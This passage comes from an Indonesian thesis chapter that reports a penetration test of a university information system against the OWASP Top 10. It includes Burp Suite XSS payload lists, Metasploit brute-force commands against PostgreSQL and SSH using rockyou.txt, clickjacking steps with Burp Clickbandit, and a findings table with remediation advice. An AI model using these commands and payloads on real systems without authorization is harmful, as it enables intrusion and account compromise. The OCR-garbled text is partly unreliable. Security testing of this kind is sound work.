kemungkinan celah ditemukan pada website lebih besar.
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Attack Save Columns

_T.Resuh:s TTarget .T.;ﬂ‘os'ﬂ:ions T Payloads .T.Dptions ]

| Filter: Showing all tems

[ Request | Postion | Payload | Status | Errer | Timee... | Length ¥ | fy7sd... | P grep | Comment
[i} 200 O O IEBT O O
|1 i, <script> alert{ 299792458)... 200 [} =] 3687
2 I <script>conscle.log(29979... 200 = 7] 3687 =] =]
3 1 <script>confirrn(29979245... 200 O = 3687 =) =)
4 1. <=script=prompti 29979245, 200 &) O 3687 O O
9 1 "= =script= alert( 29979245, . 200 O [ 3687 O O
10 I "> <script> consele. log(299... 200 =] = 3687 = =
11 1 "><script> confirmi 29979, 200 O = 3687 =] =)
1z 1 "> <script> prompti 299792, 200 O =] 3687 = 1=
13 1 "= =script= alerti 29975245, 200 = = 3687 = =
14 I "= < soript> console. log(299... 200 =] =) 3687 = =
15 1 "> <seript= confirmi{29979... 200 =] = 3687 o) =)
16 1 "> <script> prompti 299792, 200 O O 3687 = =
17 1 '>=script= alert( 29579245, 200 =] = 3687 = =)
18 k ‘=< script= console.log(299... 200 ] = 3687 = =]
19 1 =< seript= confirm({299792... 200 O O 3687 = [
20 1 '=<script= prormpt 295792... 200 O O 3687 = =
21 1 '><script> alert( 29979245, 200 =] (2] 3687 =] =]
22 1 '=>=script=console.log{299... 200 =] B 3687 = =
23 1 =< script= confirm(299792. . 200 =] =) 3687 O O
24 1 =< script=prompt( 299792... 200 O O 3687 = =
25 1 <SCRIPT=alert(29979245... 200 =] O 2687 = =
26 I <SCRIPT>conscle.log(299... 200 O =] 3687 =] =]
27 1 =SCRIPT=confirm({299792... 200 = = 3687 O =
28 1 =<SCRIPT=prompt(299792... 200 O (] 3687 O O
29 1 <scri<script>pt=>alert(299... 200 ) = 3687 =] =]
30 I <scri<script> pt>console.lo... 200 =] =] 3687 =] =]
31 1 <scri<seript>pt>confirm(2... 200 O = 3687 =) =)
32 1. =scriscript= pt=prompt(2... 200 O O 3687 O O
=] il 2SR zrrind =P T alark 2 200 fes] B [T || ]

Gambar 4. 22 XSS with Tool Brupsuite

Dari gambar diatas dapat dilihat bahwa meskipun berhasil mengirimkan
request script ke website SIM xxx, tetapi tidak adanya respon yang menampilkan
feedback percobaan XSS attack tersebut. Yang berarti percobaan XXS attack
tersebut meskipun telah menggunakan berbagai macam script dan key yang
tersedia pada fools burpsuite tersebut masih gagal atau tidak berhasil. Artinya

website SIM xxx aman dari segala bentuk serangan XSS.
4.3.8 Insecure Deserialization

Percobaan insecure deserialization exploit ini menggunakan burpsuite extend

java deserialization.jar
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Burp Suite Community Edition v2020.9.1 - Temporary Project

Burp Project Intruder Repeater Window Help

[ Dashboard T Target T Prox, T Intruder T Repeater T Sequencer T Decoder T Cormparer T Extender T Project options T User aptions T Deserialization Scanner

J Manual testing T Exploiting T Configurations }

Host Port: 443 [ Https

POST/ TTRL1

Host

User-agent: MozillafS. 0 (x11; Linux x86_&4; rv:78.0) Gecke/20100101 Firefox/78.0
Accept: testihtrnl, applicationxhtrml4+xml, applicationfxml; o= 0.9,image/webp, **.q=0.8
Accept-Language: en-US,erg=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Contert-Length: 19

Origin: https:/

Connection: close

Referer: https:/

Cookie: _ga= ww_prome_shown=1; snapshot_promea_shown=1;
Upgrade-Inse.ur=-reguests: 1

§
key=6796& format=HTMLS

<l

| SetInsertion Poirt || Clear Insertion Point J| Sleap

Compress using gzip Encode using B aseg4
Compress using zlib

Encode using Base64

Add --=
Encede using URL-safe Base64
Encode using ASCII hex =-- Remove

Encode using URL encading

Attack

Results:

@ Apache Cormmens Collections 3 (Sleep): MOT vulnerable. Response time: 375 milliseconds

@ Spring Alternate Payload (Sleepl: NOT wulnerable. Response time: 258 miliseconds

@ Apache Cormmoens Collections 4 (Sleep): NOT vulnerable. Response time: 246 milliseconds

@ |avassistiwWeld (Sleep): NOT wulnerakle. Response time: 272 miliseconds

@ |SONM (Sleep): NOT vulnerable. Response time: 268 milliseconds

@ Apache Cormmons Collections 2 Alkernate payload 2 (Sleep): MOT vulnerable. Response time: 221 milliseconds
@ ROME (Sleep): MOT vulnerable. Response time: 240 miliseconds

@ Mozilla Rhine (Sleep): MOT vulnerable. Response time: 391 milliseconds

@ Apache Commons Collections 4 Akernate payload (Sleep): NOT vulnerable. Response time: 231 milliseconds
@ |ava 8 (up to |dkBu20) (Sleep): NOT vulnerable. Response time: 225 milliseconds

@ |ava 6 and Java 7 (up to |dk7u2l] (Sleep): NOT vulnerable. Response time: 225 milliseconds

@ Apache Commons Collections 3 Alkernate payload 4 (Sleep): MOT vulnerable. Response time: 228 miliseconds
@ Hibernate 5 (Sleep): MOT vulnerable. Response time: 244 miliseconds

@ Commons BeanlUtils (Sleep): NOT vulnerable. Response time: 224 milliseconds

@ Apache Cormmons Collections 3 Akernate payload 3 (Sleep): MOT vulnerable. Response time: 230 milliseconds
@ |Boss Interceptors (Sleep): MOT vulnerable. Response time: 241 milliseconds

@ Spring (Sleep): NOT vulnerable. Response time: 242 milliseconds

B Vaadin (Sleep): NOT vulnerable. Response time: 241 milliseconds

@ Mozilla Rhino Alkernate payload (Sleep): NOT vulnerable. Response time: 336 miliseconds

@ Apache Cormrmons Collections 3 Alkernate payload (Sleep): MOT vulnerable. Response time: 231 milliseconds

EMD

Gambar 4. 23 Insecure Deserialization Test with Burpsuite

Dapat dilihat dari hasil testing diatas bahwa tidak adanya vulner/celah untuk
dapat melakukan insecure deserialization attack. Yang berarti website SIM xxx

aman dari kemungkinan ancaman deserialization attack
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4.3.9 Using Components with Known Vulnerabilities

Komponen yang digunakan merupakan komponen open port yang ditemukan
pada hasil scanning Nmap di proses information gathering sebelumnya.

Percobaan exploit yang dilakukan merupakan port 5443 atau postgreSQL.

Sama halnya dengan exploit yang digunakan menggunakan [library
heartbleed diatas, exploit postgreSQL yang dilakukan berikut juga menggunakan

metasploit framework menggunakan command dibawah ini

Search postgresql

Use auxiliary/scanner/postgresql/postgresql_login

ket :
Search : mencari package yang tersedia
Use : Library package yang akan digunakan

Dan berikut hasil dari percobaan bruteforce yang dilakukan menggunakan

postgreSQL library pada metasploit framework

LOGIN FAILED: :

er name

me

Fauth.
Fauth.

Fauth.

FATAL
t: FATAL
FATAL
: FATAL  VFATAL
- LOGIN FAILED: admi VFATAL
LOGIN FAILED: admil ) : FATAL  VFATAL

LOGIN FATLED: admil

)
IN FAILED:

IN FATLED: Fauth.c
OGIN FAILED iled for user "admin” Fauth.
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Gambar 4. 24 Component Vulnerabilities with Postgresql Library at Metasploit Framework

Hasil dari percobaan exploit postgreSQL pada gambar diatas, tidak
ditemukannya celah vulner/kelemahan pada open port 5443 server web SIM xxx.

Yang berarti open port 5443 sudah secure dari kemungkinan ancaman serangan.

4.3.10 Insufficient Logging & Monitoring

Untuk melakukan tracking logging monitoring perlu melakukan exploit
untuk masuk ke server. Berikut command yang digunakan untuk exploit server
pada open port 22 menggunakan scanner openSSL login pada metasploit

framework.

Use auxiliary/scanner/ssh/ssh_login

set USER_FILE /usr/share/wordlists/rockyou.txt

set PASS FILE /usr/share/worlists/rockyou.txt

set RHOSTS 103.xxx.xXx.X

set VERBOSE true

Exploit

Ket:
Use : Library package yang akan digunakan
Set USER_FILE : mencari file username yang akan digunakan
Set PASS FILE : mencari file password yang akan digunakan

Set RHOSTS : setting tujuan hosts yang akan di attack
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Set VERBOSE : untuk menampilkan detail attack yang dilakukan
Exploit : Run proses
Berikut hasil yang didapat dari percobaan command diatas

— Failed: 23456 :woaini’
- Failed: 36:paintball’
Could not connect: The connection timed out

e)

med 1 of 1 host
iary module ex
auxiliary( )

5
=]

Gambar 4. 25 Logging & Monitoring Attack

Dapat dilihat dari gambar diatas bahwa hasil yang didapat adalah “could not
connect: the connection timed out (103.xxx.xx.x)” Artinya percobaan untuk
eksploit server tidak dapat dilakukan dan percobaan untuk melakukan

insufficient logging and monitoring tidak berhasil.

4.3.11 Clickjacking Testing hasil dari vullnerabillity scanning

Clickjacking script yang digunakan adalah script dari tools Burpsuite seperti

gambar berikut
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Burp Project Intruder Repeater Window Help

[ D ashboard TTarget T P rosxy T Irtruder T Repeater T Sequencer T Decoder T Comparer T Exter

Intercept T HTTP history T WebS ockets history T Options ]

£ [ Request to https:f ac.id:443 [ 1

L Forward J [ Drop J ( Intercept is an | l Action J L Open Browser J

Raw T Params T Headers T Hex ]

Prett m \n Actions

GET / HTTP/1.1

Host:

User-Agent: Mozilla/5. 0 (X11; Linux xB6_&4; rv:72.0) Gecko/20180101 Firefox/78.0
Accept: textshtml, applications/xhtml+xml, application/xml; cEl. 9, image /wabp, */*,; cF0. 8
Accept -Language: en-US, en; 0.5

Accept -Encoding: gzip, deflate

Connection: close

Coockie: PHPSESSID=g0Ss5]fotd708hii45a0tvplro

Upgrade-Insecure-Requests: 1

[

(xR N T ]

]
DWW~

Gambar 4. 26 Hasil Scanning Burpsuite

Gambar diatas merupakan hasil scanning yang didapat pada halaman login

website SIM xxx menggunakan Tools Burpsuite.

Burp Clickbandit X

(?) Burp Clickbandit

Burp Clickbandit is a tool for generating clickiacking attacks. When you have found a web page that may be vulnerable to clickiacking,
you can use Burp Clickbandit to create an attack, and confirm that the vulnerabilty can be successfully exploited.

Eurp Clickbandit runs in your browser using |avaScript. It werks on all modern browsers except for Micresoft IE and Edge. Te run Burp
Clickbandit, use the following steps:

1. Click the "Copy Clickbandit to clipboard" buttan below. This will copy the Clickbandit script to your clipboard.

2. In your browser, visit the web page that you want to test, in the usual way.

3. In your browser, open the web developer conscle. This might also be called "developer tools" or "JavaScript console".
4, Paste the Clickbandit script into the web developer conscle, and press erter.

See the documentation for mere details on using Burp Clickbandit.

L Copy Cliclvcbandi‘i:t-o cliphoard J l Close J

Gambar 4. 27 Tampilan Copy Burp Clickbandit

Dan gambar diatas merupakan option copy burp clickbandit yang akan

digunakan untuk melakukan clickjacking attack
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(Y -[:]- Inspector Console [ Debugger P} Metwork {3}

(> Run ~ v O X
= WLIT = LMNLAS. LUINLENnCwLnmuow .
575 doc = win.document;
576 interceptClicks({):;
577 i H
578 }
579 window.clickbandit = {start: start, mode: 'record",
finish: finish, wversion: "1.8.5", disableClickActions:

false, sandbox: false};
SBo window.addEventListener( 'DOMContentLoaded”, ready,

false):
581 if({document. readyState === 'complete") {
582 ready():
583 }

Gambar 4. 28 Script Burp Clickbandit

Setelah melakukan copy script clickbandit pada burpsuite sebelumnya,
selanjutnya pergi ke halaman login page dan button yang ada pada website SIM
xxx lalu click kanan dan click console untuk paste script clickbandit yang sudah

dicopy sebelumnya. Lalu click Run dan akan muncul tampilan seperti berikut.

| BURPCLICKBANDIT [ =

Gambar 4. 29 Tampilan Pilihan Clickjacking Attack

Selanjutnya click tombol yang ingin di attack yaitu tombol submit pada login.

Lalu click save. Selanjutnya muncul tampilan seperti berikut

1. login button
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# BURPCLICKBANDIT . Review mode

Gambar 4. 30 Hasil Clickjackingl

2. Button pada setiap tombol pada website SIM xxx

Gambar 4. 31 Hasil Clickjacking?2

Seperti hasil yang didapat dari vullnerabillity scan menggunakan OWASP
ZAP sebelumya, terdapat celah untuk melakukan clickjacking. Clickjacking
termasuk kerentanan yang cukup serius dan dikategorikan medium warning.
Apabila clickjacking dilakukan oleh hacker bisa berdampak cukup serius, hacker
dapat memanfaatkan clickjacking untuk mengambil username dan password dari

click button yang sudah terkena attack clickjacking.
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4.4 Report

Level Metode status Hasil temuan Saran
Risk/Sco
re
Critical SQL Injection Tidak All tested parameters do not appear to be | -
8/10 Ditemukan injectable
High Broken Ditemukan 1 of 1 target successfully completed, 41 | Password dan username yang
7/10 Authentication valid password found hydra digunakan user terbilang cukup
rentan dan mudah untuk
ditebak. Disarankan untuk para
user dapat mengubah username
maupun password yang lebih
kuat dan tidak mudah ditebak
untuk menghindari brute force
attack yang dapat menimbulkan
broken authentication pada
website SIM xxx
High Sensitive Data | Ditemukan DIRECTORY: Info.php berisi berbagai macam
7/10 Exposure https://Alamat Website.AC.ID/includes/ | informasi yang sangat cukup
serius dan sangat berguna untuk
+ para hacker. Disarankan agar
https://Alamat_Website. AC.ID/info.php | info.php dapat Hide untuk
(code:200|SIZE:82396) public
High XML External | Tidak No response -
7/10 Entities (XXE) ditemukan
Medium | Broken access | Tidak 1. No response -
6/10 control: ditemukan
2. Code 302
Medium | Security 1. Ditemukan | 1. SSLV3 enabled 1. SSLV3 harus disabled
6/10 Misconfiguration
2. Tidak 2. No heartbeat response 2. -
1. SSL setting | ditemukan
info Looks like it isn’t leaked information
2. Scan  openssl
heartbleed
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Medium | Cross-site-scriptin | Tidak Length 3867 -
6/10 g (XSS) ditemukan
Length 496

Medium | Insecure Tidak Not vulnerable -
5/10 Deserialization ditemukan
Low Using components | Tidak 103.xxx.xx.x:5432 - LOGIN FAILED -
4,7/10 with ditemukan

vulnerabilities
Low Insuficient Tidak could not connect: the host|-
4/10 logging and | ditemukan (103.xxx.xx.Xx:22) was unreachable

monitoring
Medium | Clickjacking from | Ditemukan You’ve been clickjacked pada sisi client dapat

vulnerabillity
scanning

ditambahkan addons no script
dan sementara pada sisi server
bisa  menggunakan  Frame
Killer, X frame options.

Tabel 4. 2 Reporting

Ancaman-ancaman pada website yang terjadi pada tahun 2017 sudah didata oleh
OWASP (Open Web Application Security Project) dan sudah tercatat pada OWASP
Top 10 Security — 2017.

Pada OWASP Top 10 Security, terdapat beberapa ancaman

dan tingkat resiko dari dampak serangan yang telah diklasifikasikan oleh OWASP.

Tingkat ancaman yang diberi nilai sudah dihitung dengan kalkulator khusus dari

NIST (National Institute of Standards and Technology) yang disebut CVSS (Common

Vuninerability Scoring System) dengan rentang score 0.0 sampai 10.0. Ancaman

tersebut telah digambarkan pada Tabel 4.2
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1 | Injection 8.0 35% | Tidak Ditemukan

2 | Broken Authentication 7.0 74% Ditemukan

3 | Sensitive Data Exposure 7.0 28% Ditemukan

4 | XML External Entities (XXE) 7.0 2% | Tidak Ditemukan

5 | Broken Access Control 6.0 53% | Tidak ditemukan

6 | Security Misconfiguration 6.0 79% Ditemukan

7 | Cross-site Scripting (XSS) 6.0 77% | Tidak Ditemukan

8 | Insecure Deserialization 5.0 2% | Tidak Ditemukan

Using  Component  with ~ Known

9 | Vulnerabilities 4.7 28% | Tidak Ditemukan

10 | Insufficient Logging & Monitoring 4.0 2% | Tidak Ditemukan

Tabel 4. 3 Klasifikasi Ancaman pada tahun 2017

Sumber: https://www.owasp.org/images/0/0a/OWASP Top_10_2017 GM_%28en%29.pdf
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Presentase yang sering terjadi temuan Celah
Keamanan Pada Website SIM xxx Berdasarkan
Standard OWASP TOP 10 2017

B Broken Authentication ® Sensitive Data Exposure ® Security Misconfiguration =

Grafik Gambar 4. 32 Hasil Temuan Berdasarkan Metode Owasp
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